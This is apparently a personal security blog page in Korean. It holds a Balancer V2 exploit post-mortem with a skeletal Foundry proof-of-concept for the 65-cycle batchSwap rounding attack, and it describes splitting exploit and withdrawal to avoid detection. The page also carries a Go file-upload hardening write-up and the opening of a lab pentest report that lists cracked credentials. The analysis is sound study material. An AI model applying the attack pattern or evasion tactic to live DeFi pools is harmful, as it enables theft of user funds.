KWAKBUMJUN

M

KWAKBUMJUN — Wed, 22 Apr 2026 01:13:31 +0900

moved https://bumjunrh.kr/

The Balancer V2 Exploit

KWAKBUMJUN — Mon, 6 Apr 2026 01:23:26 +0900

TL;DR

날짜: 2025년 11월 3일
피해액: $128.64M (6개 체인)
대상: Balancer V2 Composable Stable Pools
근본 원인: _upscale() 함수가 항상 mulDown(내림)만 사용하는 반면 _downscale()은 divUp/divDown(올림/내림)을 상황에 따라 사용 → 라운딩 방향 비대칭으로 인해 불변량(Invariant) D가 과소 계산됨 → BPT 가격 왜곡 → 배치 스왑으로 차익 추출
공격 키워드: 정밀도 손실(Precision Loss), 불변량 조작(Invariant Manipulation), 배치 스왑(Batch Swap)

1. 배경: Balancer V2와 Composable Stable Pool

1.1 Balancer란

Balancer는 Ethereum 기반 AMM(Automated Market Maker) DEX로, 사용자가 다양한 가중치의 토큰 풀을 생성하고 거래할 수 있게 한다. V2 아키텍처에서는 모든 자산이 하나의 Vault 컨트랙트에 보관되고, 각 Pool 컨트랙트가 가격 결정 로직만 담당한다.

1.2 Composable Stable Pool

Curve의 StableSwap 알고리즘을 기반으로, 비슷한 가치를 가진 자산(예: wstETH/rETH/cbETH)의 효율적 스왑을 지원한다. 핵심 특징:

BPT(Balancer Pool Token): 유동성 공급 시 발행되는 LP 토큰. 풀 자체 내에서 스왑 가능
불변량 D: 풀의 "가상 총 가치"를 나타내는 수학적 상수. StableSwap 공식으로 계산
BPT 가격 ≈ D / totalSupply: D가 작아지면 BPT 가격이 하락

1.3 Scaling Factor

토큰마다 소수점 자릿수가 다르다 (예: USDC는 6, WETH는 18). Balancer는 모든 계산을 18자리 정밀도로 통일하기 위해 scaling factor를 사용한다:

내부 계산 시: amount × scalingFactor (upscale — 정밀도 확대)
결과 반환 시: amount ÷ scalingFactor (downscale — 정밀도 축소)

2. 근본 원인 (Root Cause): 라운딩 방향 비대칭

2.1 핵심 원칙: "라운딩은 항상 프로토콜에 유리하게"

DeFi 프로토콜에서 정수 연산의 라운딩(반올림/내림) 방향은 항상 프로토콜(풀)에 유리하게 설정되어야 한다:

사용자가 토큰을 받을 때 (amountOut): 내림(roundDown) → 사용자가 조금 덜 받음
사용자가 토큰을 낼 때 (amountIn):   올림(roundUp)   → 사용자가 조금 더 냄

이 원칙이 지켜지면, 아무리 많은 스왑을 반복해도 풀의 자산이 유출되지 않는다.

2.2 취약 코드: `_upscale()`의 단방향 라운딩

// FixedPoint 라이브러리
function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 product = a * b;
    return product / ONE;  // 항상 내림
}

function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) return 0;
    return (a * ONE - 1) / b + 1;  // 항상 올림
}

function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
    return (a * ONE) / b;  // 항상 내림
}

// BaseGeneralPool.sol — 취약한 함수
function _swapGivenOut(
    SwapRequest memory swapRequest,
    uint256[] memory balances,
    uint256 indexIn,
    uint256 indexOut,
    uint256[] memory scalingFactors
) internal returns (uint256) {
    // Step 1: 잔액을 18자리로 upscale
    _upscaleArray(balances, scalingFactors);

    // Step 2:  swapRequest.amount도 upscale — 여기서 mulDown(내림)만 사용
    swapRequest.amount = _upscale(swapRequest.amount, scalingFactors[indexOut]);

    // Step 3: 불변량 기반으로 amountIn 계산
    uint256 amountIn = _onSwapGivenOut(swapRequest, balances, indexIn, indexOut);

    // Step 4: amountIn을 downscale — 여기서는 divUp(올림) 사용
    amountIn = _downscaleUp(amountIn, scalingFactors[indexIn]);

    return _addSwapFeeAmount(amountIn);
}

// _upscale: 항상 mulDown (내림) —  문제의 핵심
function _upscale(uint256 amount, uint256 scalingFactor)
    internal pure returns (uint256)
{
    return FixedPoint.mulDown(amount, scalingFactor);
}

// _downscaleUp: divUp (올림) ← 이건 올바름
// _downscaleDown: divDown (내림)  ← 이것도 올바름

2.3 문제의 본질

연산	함수	라운딩 방향	정상 동작
upscale	`_upscale()`	항상 내림 (mulDown)	상황에 따라 올림/내림이 필요
downscale	`_downscaleUp()`	올림 (divUp)	정상
downscale	`_downscaleDown()`	내림 (divDown)	정상

downscale은 올림/내림 두 가지 변형이 있는데, upscale은 내림 하나만 존재한다.

swapGivenOut에서 swapRequest.amount(사용자가 받을 양)을 upscale할 때 내림이 적용되므로:

실제 사용자가 가져가는 양: 8.918 wei (원본)
upscale 후 불변량 계산에 사용되는 양: 8 wei (내림)

→ 풀은 사용자가 8만 가져간다고 "착각"
→ amountIn(사용자가 내야 할 양)을 과소 계산
→ 프로토콜이 손해, 사용자가 이득

정상이라면 swapGivenOut의 amount(사용자에게 나가는 양)은 올림되어야 한다. 사용자가 받는 양을 올림하면, 풀이 계산하는 amountIn도 더 커져서 프로토콜이 보호된다.

3. 공격 메커니즘

3.1 왜 평소에는 문제가 안 되는가

일반적인 스왑에서 이 라운딩 오차는 1 wei 미만이다. $0.000000000000000001 수준의 차이는 무시할 수 있다.

하지만 공격자가 의도적으로 잔액을 극소량(8~9 wei)까지 낮추면, 상대적 오차가 극대화된다:

잔액이 1,000,000 wei일 때: 1 wei 오차 = 0.0001% (무시 가능)
잔액이 9 wei일 때:          1 wei 오차 = 11.1%  (치명적)

3.2 공격 3단계 사이클 (65회 반복)

공격자는 하나의 batchSwap 트랜잭션 내에서 다음 3단계를 65회 연속 반복했다:

[1단계: 조정 (Adjustment)]
대량의 BPT → 토큰 스왑으로 특정 토큰의 잔액을 극소량(~9 wei)으로 감소
├── Composable Pool의 특성: BPT 자체가 풀 내에서 스왑 가능
└── 사전 보유 불필요: Vault가 임시 적자(deficit) 상태 허용

[2단계: 트리거 (Trigger)]
극소 잔액 상태에서 소량 스왑(amount = 8) 실행
├── _upscale(8) → mulDown → 내림으로 8.918이 8로 절삭
├── 불변량 D 계산에서 Δy가 과소 평가
├── D 값이 실제보다 작아짐
└── BPT 가격(= D/totalSupply)이 인위적으로 하락

[3단계: 추출 (Extraction)]
하락한 BPT 가격으로 BPT를 저렴하게 매입(민팅)
└── 이후 정상 가격으로 환매 → 차익 실현

[정밀도 손실 누적 과정]

반복 1:  BPT 가격 ≈ 정상
반복 10: BPT 가격 약간 하락 (누적 오차 증가)
반복 30: BPT 가격 유의미하게 왜곡
반복 65: BPT 가격 대폭 왜곡 → 대량 차익 추출 가능

증거: InternalBalanceChanged 이벤트에서 수수료가
      0.414 osETH → 0.000000000000000003 osETH로 급감
      (65회에 걸쳐 잔액이 고갈되는 과정)

3.3 2단계 실행 전략 (탐지 우회)

공격자는 익스플로잇과 수익 실현을 별도 트랜잭션으로 분리했다:

[트랜잭션 1: 익스플로잇] — 표면상 수익 없음
└── batchSwap으로 65회 사이클 실행
└── BPT 가격 왜곡 + BPT 축적
└── 단독으로 보면 "손해 보는 거래"처럼 보임

[트랜잭션 2: 수익 실현] — 별도 시점에 실행
└── 축적된 BPT를 정상 가격으로 환매
└── 순이익 실현

이유: 실시간 탐지 시스템이 "단일 트랜잭션 내 비정상 수익"을 감시하므로,
     수익을 분리하면 탐지 확률이 크게 감소

3.4 공격자 인프라

Deployer:         0x506D1f9EFe24f0d47853aDca907EB8d89AE03207
Exploit Contract: 0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d
Recipient:        0xAa760D53541d8390074c61DEFeaba314675b8e3f

공격은 컨트랙트 배포(constructor) 내에서 자동 실행되어, 단일 트랜잭션으로 전체 사이클이 완료되었다.

4. 피해 규모 및 영향

4.1 체인별 피해

체인	피해액	주요 탈취 자산	비고
Ethereum	~$99M	6,587 WETH + 6,851 osETH + 4,260 wstETH	최대 피해
Arbitrum	~$12M	—	—
Base	~$5M	—	—
Polygon	~$0.1M	—	검증자 트랜잭션 검열로 동결
Sonic (Beets 포크)	~$3.4M	—	Balancer 포크 프로젝트
Optimism (Beethoven 포크)	~$0.28M	—	Balancer 포크 프로젝트
합계	~$128.64M		6개 체인, 30분 내

4.2 주요 Ethereum 트랜잭션

Exploit TX:    0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742
Withdrawal TX: 0xd155207261712c35fa3d472ed1e51bfcd816e616dd4f517fa5959836f5b48569
Arbitrum TX:   0x7da32ebc615d0f29a24cacf9d18254bea3a2c730084c690ee40238b1d8b55773

4.3 회수 현황

출처	회수액
화이트햇 (Polygon)	$2.68M
화이트햇 (Ethereum)	$0.96M
화이트햇 (Base)	$0.16M
화이트햇 (Arbitrum)	$0.05M
StakeWise (osETH/osGNO)	$19.7M
총 회수	~$23.5M (피해액의 ~18%)

5. 포크 프로젝트 연쇄 피해

Balancer V2는 오픈소스이므로 다수의 포크 프로젝트가 동일한 코드를 사용하고 있었다. 취약점이 공개되자 카피캣 공격자들이 포크 프로젝트를 연쇄적으로 공격했다.

[연쇄 피해 타임라인]

09:45 UTC — Ethereum Balancer V2 최초 공격
     ↓ (수분 내)
Arbitrum, Base, Optimism 동시 공격
     ↓
Sonic의 Beets (Balancer 포크) 공격 — $3.4M
Optimism의 Beethoven X (포크) 공격 — $0.28M
     ↓
Polygon 검증자, 공격 트랜잭션 검열 → $0.1M 동결

총 소요 시간: ~30분

프로토콜을 일시 정지할 수 없었던 것이 피해를 확대시킨 핵심 요인이다. Balancer V2에는 풀 운영을 즉시 중단하는 비상 정지(emergency pause) 메커니즘이 부재했거나, 실행이 지연되었다.

6. 왜 감사에서 발견되지 않았는가

Balancer V2는 다수의 유명 감사 기관으로부터 감사를 받았음에도 이 취약점이 발견되지 않았다. Certora의 사후 분석에 따르면:

6.1 누락된 검증 속성

속성	설명	검증 여부
Roundtrip Swap Invariance	A→B→A 왕복 스왑 시 사용자가 이득을 볼 수 없어야 함	미검증
BPT Share Value Invariant	어떤 연산 후에도 BPT 1개당 가치가 감소하지 않아야 함	미검증

Certora는 V3 검증 시 swappingBackAndForth라는 규칙을 명시적으로 추가하여 "왕복 스왑으로 이득을 볼 수 없음"을 증명했다. 이 속성이 V2 감사 시에 포함되었다면 발견되었을 것이다.

6.2 근본적 어려움

수학적 정밀도 오차는 기능 테스트(unit test)로는 잡히지 않음 — 정상 범위에서는 오차가 무시할 수 있는 수준
극단값(8~9 wei 잔액)에서만 문제가 드러남 — 퍼징(fuzzing)의 입력 공간이 좁음
여러 연산의 복합 효과 — 단일 함수는 정상이지만 65회 반복 시 오차가 누적

7. Balancer V3의 수정 사항

V2 문제점	V3 수정
`_upscale`이 `mulDown`만 사용	모든 연산에 명시적 라운딩 방향 강제
Pool이 직접 scaling 수행	Vault가 scaling 전담 — 일관성 보장
Composable Pool에서 BPT 스왑 가능	ERC4626 Buffer로 대체 — 공격 표면 제거
토큰별 다른 소수점	모든 풀 연산을 18자리 정밀도로 통일
비상 정지 부재/지연	개선된 거버넌스 비상 정지 메커니즘

8. PoC 개념 (Proof of Concept)

주의: 실제 메인넷에서의 실행은 불법입니다. 교육 목적의 개념 설명입니다.

8.1 공격 재현 개념 (Foundry 테스트 기반)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

import "forge-std/Test.sol";

interface IVault {
    enum SwapKind { GIVEN_IN, GIVEN_OUT }

    struct BatchSwapStep {
        bytes32 poolId;
        uint256 assetInIndex;
        uint256 assetOutIndex;
        uint256 amount;
        bytes userData;
    }

    struct FundManagement {
        address sender;
        bool fromInternalBalance;
        address payable recipient;
        bool toInternalBalance;
    }

    function batchSwap(
        SwapKind kind,
        BatchSwapStep[] memory swaps,
        address[] memory assets,
        FundManagement memory funds,
        int256[] memory limits,
        uint256 deadline
    ) external returns (int256[] memory assetDeltas);
}

contract BalancerExploitPoC is Test {
    // Ethereum mainnet addresses
    IVault constant vault = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);

    // Pool: wstETH/rETH/cbETH Composable Stable Pool
    bytes32 constant poolId = /* target pool ID */;

    function testExploitConcept() public {
        // Fork Ethereum mainnet at block before exploit
        // vm.createSelectFork("mainnet", BLOCK_BEFORE_EXPLOIT);

        // Step 1: 풀의 BPT 잔액과 토큰 잔액 확인
        // Step 2: batchSwap 구성 — 65회 반복 사이클

        IVault.BatchSwapStep[] memory swaps = new IVault.BatchSwapStep[](65 * 3);

        for (uint i = 0; i < 65; i++) {
            uint base = i * 3;

            // Phase 1: BPT → Token (잔액을 극소량으로 감소)
            swaps[base] = IVault.BatchSwapStep({
                poolId: poolId,
                assetInIndex: 0,  // BPT
                assetOutIndex: 1, // target token
                amount: /* calculated amount to push balance to ~9 wei */,
                userData: ""
            });

            // Phase 2: Token A → Token B (라운딩 오차 트리거)
            swaps[base + 1] = IVault.BatchSwapStep({
                poolId: poolId,
                assetInIndex: 1,
                assetOutIndex: 2,
                amount: 8, // 핵심: 극소량으로 mulDown 라운딩 오차 최대화
                userData: ""
            });

            // Phase 3: Token → BPT (할인된 가격으로 BPT 매입)
            swaps[base + 2] = IVault.BatchSwapStep({
                poolId: poolId,
                assetInIndex: 2,
                assetOutIndex: 0, // BPT
                amount: /* calculated */,
                userData: ""
            });
        }

        // Execute batch swap
        // vault.batchSwap(...)

        // Step 3: 별도 트랜잭션에서 BPT → underlying 환매로 수익 실현
    }
}

8.2 핵심 수치 예시 (BlockSec 분석 기반)

[2단계 트리거의 구체적 수치]

사용자가 cbETH 8 wei를 받으려 함 (swapGivenOut)

scaling factor (cbETH, 18 decimals): 1e18

_upscale(8, 1e18):
  = mulDown(8, 1e18)
  = (8 * 1e18) / 1e18
  = 8                    ← 이 경우 오차 없음

하지만 scaling factor가 정확히 1e18이 아닌 토큰에서:

_upscale(8, 1.1e18):
  = mulDown(8, 1.1e18)
  = (8 * 1.1e18) / 1e18
  = 8.8 → 내림 → 8       ← 0.918 손실 (11% 오차)

이 8이 불변량 계산에 입력됨:
  실제 나간 양: 8.918
  풀이 인식한 양: 8
  → amountIn이 실제 필요한 것보다 작게 계산됨
  → 불변량 D가 과소 평가됨
  → BPT 가격 왜곡

9. 교훈 및 권고

9.1 DeFi 개발자를 위한 교훈

교훈	구체적 조치
라운딩 방향은 항상 프로토콜 유리하게	upscale/downscale 모두 양방향(Up/Down) 변형을 제공하고, 컨텍스트에 따라 올바른 방향 선택
모든 scaling 함수에 대칭성 검증	upscale에 mulDown만 있다면 mulUp도 구현하여 swapGivenOut에서 사용
극단값 퍼징(Fuzzing)	잔액 1~10 wei 범위에서의 동작을 자동 테스트. 반복 스왑 시나리오 포함
왕복 불변성(Roundtrip Invariance) 검증	A→B→A 스왑 시 사용자 이득 불가를 형식 검증(Formal Verification)으로 증명
비상 정지 메커니즘 필수	익스플로잇 발생 시 즉시 풀 동결 가능한 메커니즘 사전 구현

9.2 감사자를 위한 교훈

교훈	구체적 조치
라운딩 방향 체계적 감사	모든 산술 연산에서 라운딩 방향이 "누구에게 유리한가"를 명시적으로 검토
Composable Pool 특수성	BPT가 풀 내에서 스왑 가능한 설계는 공격 표면을 극대화 — 추가 주의
형식 검증 속성 확장	단순 overflow/underflow 외에 경제적 불변성(economic invariant) 검증 포함

9.3 프로토콜 운영자를 위한 교훈

교훈	구체적 조치
멀티체인 배포 = 멀티체인 위험	한 체인에서 익스플로잇 발견 시 모든 체인 동시 정지 가능한 체계 필요
포크 프로젝트 알림 체계	원본 프로토콜의 취약점이 모든 포크에 전파 — 신속한 알림 네트워크 구축
탐지 우회 인지	2단계 분리(익스플로잇 + 인출)로 실시간 탐지를 우회하는 패턴 대비

10. 요약

Balancer V2 익스플로잇은 "1 wei의 반올림 오차"가 어떻게 $128M의 피해로 확대될 수 있는지를 보여준 사건이다.

근본 원인은 단순하다: _upscale() 함수가 mulDown만 지원하여, swapGivenOut에서 사용자가 받는 양이 내림 처리됨으로써 풀이 손해를 보는 방향으로 라운딩이 적용되었다. 이 오차는 정상 거래에서는 무시할 수 있었지만, 공격자가 잔액을 극소량으로 유도한 후 65회 반복 스왑으로 누적시키면서 BPT 가격을 대폭 왜곡할 수 있었다.

이 사건이 남긴 가장 중요한 메시지:

DeFi에서 "작은 수학적 오차"는 존재하지 않는다. 공격자는 그 오차를 증폭시킬 방법을 반드시 찾아낸다.

참고 자료

#	사례	CVE	공격 시작	위험도	공격 주체
1	Fortinet FortiManager "FortiJump"	CVE-2024-47575	2024.06	CVSS 9.8	UNC5820 (미상)
2	Ivanti Connect Secure VPN	CVE-2025-0282	2024.12	CVSS 9.0	UNC5337 (중국 연계)
3	Cleo 파일 전송 솔루션	CVE-2024-50623	2024.12	CVSS 8.8	Cl0p 랜섬웨어

항목	내용
취약점	CVE-2024-47575 (CVSS 9.8)
별칭	FortiJump
영향 제품	Fortinet FortiManager — 방화벽/네트워크 장비 중앙 관리 플랫폼
취약점 유형	Missing Authentication for Critical Function (CWE-306)
공격 주체	UNC5820 (Mandiant 추적, 미상 위협 그룹)
공격 시작	2024년 6월 27일 (최초 관찰)
공개일	2024년 10월 23일
피해 규모	50개 이상 조직의 FortiManager 침해

미흡 영역	설명
4개월 노출	6월 최초 공격 → 10월 공개. 4개월간 제로데이 상태로 방치
설계적 결함	핵심 관리 프로토콜에 인증 미구현 — 단순 패치가 아닌 아키텍처 수준의 결함
피해 탐지 지연	50개+ 조직이 침해되었으나, 대부분 Mandiant 통보 전까지 인지하지 못함
하위 장비 연쇄 피해	FortiManager가 관리하는 모든 FortiGate 방화벽의 설정/비밀번호가 유출 → 추가 침해 가능

항목	내용
취약점	CVE-2025-0282 (CVSS 9.0)
영향 제품	Ivanti Connect Secure — 기업용 SSL VPN 어플라이언스
취약점 유형	Unauthenticated Stack-Based Buffer Overflow (CWE-121)
공격 주체	UNC5337 (중국 연계 APT), 기타 미상 그룹
공격 시작	2024년 12월 중순
공개일	2025년 1월 8일
피해 규모	다수 국가/산업군의 VPN 어플라이언스 침해

미흡 영역	설명
반복되는 Ivanti 제로데이	2024년 1월에도 CVE-2023-46805 + CVE-2024-21887 체인으로 대규모 공격 발생. 1년 만에 또 제로데이 — 제품의 코드 품질 근본 문제
패치가 불완전	초기 패치 후에도 추가 취약점(CVE-2025-0283) 발견. PoC 공개(1월 16일)로 2차 공격 급증
ICT 도구의 한계	Ivanti의 무결성 검증 도구를 공격자가 우회하는 사례 관찰 — PHASEJAM이 ICT 업그레이드 프로세스 자체를 후킹
메모리 안전성	C/C++로 작성된 VPN 스택에서 2025년에도 버퍼 오버플로우 발생 — Rust/Go 등 메모리 안전 언어로의 전환 필요성

항목	내용
취약점	CVE-2024-50623 (CVSS 8.8), CVE-2024-55956
영향 제품	Cleo Harmony, VLTrader, LexiCom — 기업용 관리형 파일 전송(MFT)
취약점 유형	Unrestricted File Upload/Download → RCE (CWE-434)
공격 주체	Cl0p (CL0P) 랜섬웨어 그룹
공격 시작	2024년 12월 3일 (최초 관찰)
피해 규모	최소 66개 기업, 데이터 유출 + 랜섬 협박

시기	대상	CVE	피해
2023.01	GoAnywhere MFT	CVE-2023-0669	130+ 조직
2023.05	MOVEit Transfer	CVE-2023-34362	2,500+ 조직
2024.12	Cleo Harmony/VLTrader	CVE-2024-50623	66+ 조직

미흡 영역	설명
불완전 패치	Cleo가 "패치 완료"라고 발표한 5.8.0.21이 실제로는 여전히 취약. 패치 검증 프로세스 부재
MFT 솔루션의 구조적 취약성	파일 전송 솔루션은 설계상 파일 업로드/다운로드를 허용 — 이 기능 자체가 공격 표면. 업로드 파일에 대한 무결성/실행 방지가 필수적이나 미구현
Cl0p 패턴 미학습	GoAnywhere, MOVEit에 이어 3번째 MFT 공격. 업계가 Cl0p의 MFT 타겟팅 패턴을 인지했음에도 방어 태세 미비
탐지 지연	12월 3일 최초 공격 → 12월 8일 탐지 → 5일간 무방비 노출

비교 항목	FortiManager	Ivanti VPN	Cleo MFT
취약점 유형	인증 누락	버퍼 오버플로우	무제한 파일 업로드
OWASP 분류	A07 (인증 실패)	A03 (인젝션/메모리)	A04 (안전하지 않은 설계)
인증 필요 여부	불필요	불필요	불필요
공격 복잡도	낮음	중간	낮음
공격 주체	미상 APT	중국 APT	랜섬웨어 그룹
목적	정보 수집/스파이	정보 수집/스파이	금전 갈취
패치 전 노출 기간	~4개월	~3주	~2개월 (불완전 패치)
피해 규모	50+ 조직	다수 (미공개)	66+ 조직
패치 품질	양호	불완전 (추가 CVE)	불완전 (우회 가능)

교훈	구체적 조치
"보안 장비 = 안전"이라는 전제를 버려라	보안 장비도 공격 표면이다. 네트워크 노출 최소화 필수
벤더의 보안 이력을 평가하라	Ivanti는 1년 내 2회 제로데이. 제품 선택 시 벤더의 CVE 이력, 패치 대응 속도 고려
MFT 솔루션은 고위험군	Cl0p의 3연속 MFT 공격. 파일 전송 솔루션 운영 시 특별 감시 필요

교훈	구체적 조치
인터넷 노출 장비 인벤토리를 항상 최신 유지	공격 표면 관리(ASM) 도구로 인터넷 노출 자산 지속 모니터링
패치는 "신속하되 검증"하라	벤더 패치를 무조건 신뢰하지 말고, 패치 후 취약점 재검증 수행
제로데이 대비 탐지 체계 구축	패치 불가 상황 대비: 네트워크 세그멘테이션, 이상 행위 탐지, NDR/XDR
공장 초기화를 고려하라	어플라이언스 침해 시 패치만으로는 부족. 공격자 백도어 제거를 위해 공장 초기화 권고

교훈	구체적 조치
인증은 선택이 아닌 필수	모든 관리 인터페이스/API에 인증 강제. FortiManager처럼 인증 누락은 설계 단계에서 차단
메모리 안전 언어 전환	C/C++ 기반 네트워크 스택에서 버퍼 오버플로우 반복 발생. Rust/Go 도입 검토
파일 업로드 = 고위험 기능	업로드 파일에 대한 확장자, MIME, 실행 권한, 저장 경로 검증 필수 (OWASP 체크리스트)
패치 품질 보증	보안 패치에 대한 자체 레드팀 검증. "패치 완료"를 공언하기 전 우회 시도 테스트

Golang file service

KWAKBUMJUN — Mon, 6 Apr 2026 01:18:10 +0900

Github url

https://github.com/kwakbumjun713/golang-fileservice/tree/main/go-fileshare

프로젝트 구조

go-fileshare/
├── main.go            ← 서버 전체 코드 (단일 파일)
├── templates/
│   ├── index.html     ← 메인 페이지 (업로드 + 파일 목록)
│   └── share.html     ← 공유 링크 페이지
├── uploads/           ← 업로드 파일 저장 경로
├── Dockerfile
├── go.mod
└── README.md

의도적으로 외부 의존성 0개로 만들었다. go.mod에 require가 없다. net/http, html/template, crypto/rand, mime 등 표준 라이브러리만 사용한다.

핵심 구현 해설

1. 파일 업로드 핸들러

func uploadHandler(w http.ResponseWriter, r *http.Request) {
    // 1. 요청 크기 제한 (50MB)
    r.Body = http.MaxBytesReader(w, r.Body, maxUploadSize)
    r.ParseMultipartForm(maxUploadSize)

    // 2. 파일 추출
    file, header, _ := r.FormFile("file")

    // 3. 보안 검증 (아래 상세 설명)
    origName := sanitizeFilename(header.Filename)  // 경로 순회 방지
    if !isAllowedExt(origName) { ... }             // 확장자 화이트리스트
    mimeType, _ := detectAndValidateMIME(data, origName)  // MIME 검증

    // 4. 고유 ID로 저장
    id := generateID()  // crypto/rand 기반 16바이트 랜덤
    storeName := id + ext
    os.WriteFile(filepath.Join(uploadDir, storeName), data, 0644)

    // 5. curl vs 브라우저 응답 분기
    if isCurl(r) {
        fmt.Fprintf(w, "Share: /share/%s\n", id)
    } else {
        http.Redirect(w, r, "/", http.StatusSeeOther)
    }
}

핵심 설계 결정: 파일을 원본 이름이 아닌 랜덤 ID + 확장자로 저장한다. 이유:

파일명 충돌 방지
원본 파일명에 포함될 수 있는 특수문자/경로 구분자 무력화
URL에서 원본 파일명이 노출되지 않아 프라이버시 보호

2. 보안 검증 — 4계층 방어

파일 업로드는 웹 보안에서 가장 위험한 기능 중 하나다. 4개의 독립적인 검증 레이어를 적용했다.

Layer 1: 파일명 새니타이징 (경로 순회 방지)

func sanitizeFilename(name string) string {
    name = filepath.Base(name)           // 경로 구분자 제거: ../../etc/passwd → passwd
    name = strings.ReplaceAll(name, "..", "")  // .. 제거
    name = strings.ReplaceAll(name, "\x00", "") // null 바이트 제거
    return name
}

공격자가 ../../etc/passwd 같은 파일명을 보내면 filepath.Base()가 passwd만 남긴다. 이중으로 ..도 제거한다.

Layer 2: 확장자 화이트리스트

var allowedExts = map[string]bool{
    ".txt": true, ".pdf": true, ".png": true, ".jpg": true,
    ".zip": true, ".go": true, ".py": true, // ...
}

블랙리스트가 아닌 화이트리스트를 사용한다. 블랙리스트(.exe, .bat 차단)는 새로운 위험 확장자가 등장하면 뚫린다. 화이트리스트는 허용된 것만 통과시키므로 기본적으로 안전하다.

테스트 결과:

$ curl -F 'file=@evil.exe' localhost:8080/upload
Extension not allowed: .exe

Layer 3: MIME 타입 검증 (Content Sniffing)

func detectAndValidateMIME(data []byte, filename string) (string, error) {
    detected := http.DetectContentType(data)  // 파일 내용 기반 감지
    if blockedMIME[detected] { return "", err }

    extMIME := mime.TypeByExtension(filepath.Ext(filename))  // 확장자 기반
    if blockedMIME[extMIME] { return "", err }

    return detected, nil
}

이중 검증: 파일 내용(매직 바이트)과 확장자 양쪽으로 MIME을 확인한다. .txt로 확장자를 위장한 ELF 바이너리도 http.DetectContentType()이 application/x-executable로 감지하여 차단한다.

Layer 4: 최종 경로 검증

func isInsideUploadDir(path string) bool {
    absUpload, _ := filepath.Abs(uploadDir)
    absPath, _ := filepath.Abs(path)
    return strings.HasPrefix(absPath, absUpload+string(os.PathSeparator))
}

파일 저장 직전에 절대 경로가 uploads/ 디렉토리 내부인지 최종 확인한다. 앞선 레이어를 모두 우회하더라도 이 검증에서 걸린다.

3. 공유 링크 시스템

업로드 → ID 생성 (crypto/rand 16바이트 = 32자 hex)
       → /share/{id} 경로로 공유 링크 생성
       → /download/{id} 경로로 다운로드

예시:
  공유: http://localhost:8080/share/2c869ba666847b460d52919a64351cc1
  다운: http://localhost:8080/download/2c869ba666847b460d52919a64351cc1

crypto/rand를 사용하므로 ID는 예측 불가능하다. 링크를 아는 사람만 파일에 접근할 수 있다 (Unguessable URL 패턴).

4. curl / 브라우저 양쪽 지원

동일한 엔드포인트(/upload, /share/{id})가 User-Agent를 보고 응답 형식을 분기한다:

클라이언트	업로드 응답	공유 링크 응답
curl	텍스트 (`Upload OK\nShare: ...`)	텍스트 (파일 정보)
브라우저	리다이렉트 → 메인 페이지	HTML 공유 페이지

# curl 업로드
$ curl -F 'file=@report.pdf' localhost:8080/upload
Upload OK
File: report.pdf
Size: 12345 bytes
Share: localhost:8080/share/abc123...

# curl 다운로드
$ curl -OJ localhost:8080/download/abc123...

5. 보안 헤더 미들웨어

func securityHeaders(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("X-Content-Type-Options", "nosniff")    // MIME 스니핑 방지
        w.Header().Set("X-Frame-Options", "DENY")              // 클릭재킹 방지
        w.Header().Set("X-XSS-Protection", "1; mode=block")    // XSS 필터
        next.ServeHTTP(w, r)
    })
}

다운로드 시에는 추가로:

Content-Disposition: attachment — 브라우저에서 실행 대신 다운로드 강제
Content-Type: application/octet-stream — MIME 스니핑으로 인한 실행 방지

배운 것

Go 표준 라이브러리의 충분함

프레임워크(Gin, Echo 등) 없이 net/http만으로 완전한 웹 서비스를 만들 수 있었다. 라우팅, 멀티파트 파싱, 파일 서빙, 템플릿 렌더링이 모두 표준 라이브러리에 포함되어 있다. 외부 의존성 0개로 빌드 → 단일 바이너리 → Docker 이미지 크기 최소화로 이어진다.

파일 업로드 보안은 겹겹이

단일 검증만으로는 부족하다는 것을 체감했다:

확장자만 검증? → 확장자 위장으로 우회
MIME만 검증? → Content-Type 헤더 조작으로 우회
파일명만 새니타이징? → 경로 순회 변종으로 우회

4계층을 겹쳐야 비로소 안전해진다. 이것이 "심층 방어(Defense in Depth)"의 실체다.

HTTP 멀티파트의 동작 원리

r.ParseMultipartForm()이 내부적으로 Content-Type: multipart/form-data의 boundary를 파싱하고, 각 파트를 메모리 또는 임시 파일에 버퍼링하는 과정을 추적할 수 있었다. MaxBytesReader로 요청 크기를 제한하면 파싱 전에 차단되어 DoS 방어가 된다.

실행 방법

# 로컬 실행
git clone <repo-url> && cd go-fileshare
go build -o fileshare . && ./fileshare

# Docker
docker build -t go-fileshare .
docker run -p 8080:8080 go-fileshare

접속: http://localhost:8080

개선 가능 영역

현재 구현에서 의도적으로 생략한 부분:

항목	현재	개선 방향
저장소	인메모리 맵 (재시작 시 유실)	SQLite 또는 BoltDB 영속화
인증	없음 (누구나 업로드)	API 키 또는 간단한 비밀번호
공유 링크 만료	없음 (영구)	TTL 설정 + 자동 삭제
HTTPS	없음	Let's Encrypt + Caddy 리버스 프록시
바이러스 스캔	없음	ClamAV 연동

참고 자료

SPACE PENTEST REPORT

KWAKBUMJUN — Mon, 6 Apr 2026 01:16:28 +0900

모의해킹 결과 보고서

1. 정보 수집 (Reconnaissance)

1.1 대상 식별

대상 URL: http://localhost:5001
기술 스택: Python Flask + MariaDB 10.5 + Jinja2 템플릿
프론트엔드: Tailwind CSS, Font Awesome
컨테이너 구성: web (Flask), db (MariaDB), chatbot_server (SSH)

1.2 디렉토리 및 엔드포인트 열거

주요 발견 경로:

경로	기능	인증 필요
`/`	메인 페이지 (상품 목록)	없음
`/users/login`	로그인	없음
`/users/register`	회원가입	없음
`/board/<id>`	게시판 글 조회	없음
`/orders/<order_id>`	주문 상세 조회	로그인
`/admin`	관리자 페이지	admin 계정
`/admin/calculator`	관리자 계산기	admin 계정
`/robots.txt`	크롤러 제한 설정	없음
`/static/js/main.js`	프론트엔드 JavaScript	없음
`/this_is_hidden_page`	숨겨진 페이지	없음

1.3 계정 정보

계정	비밀번호	권한	발견 방법
test	testtesttest	일반 사용자	기본 테스트 계정
admin	bedspace	관리자	main.js 해시 크래킹
chatbot (시스템)	computer	SSH 사용자	/etc/shadow 크래킹

2. 취약점 상세 분석 및 익스플로잇

취약점 #1: SQL Injection (Union-based)

항목	내용
위험도	Critical
OWASP	A03:2021 – Injection
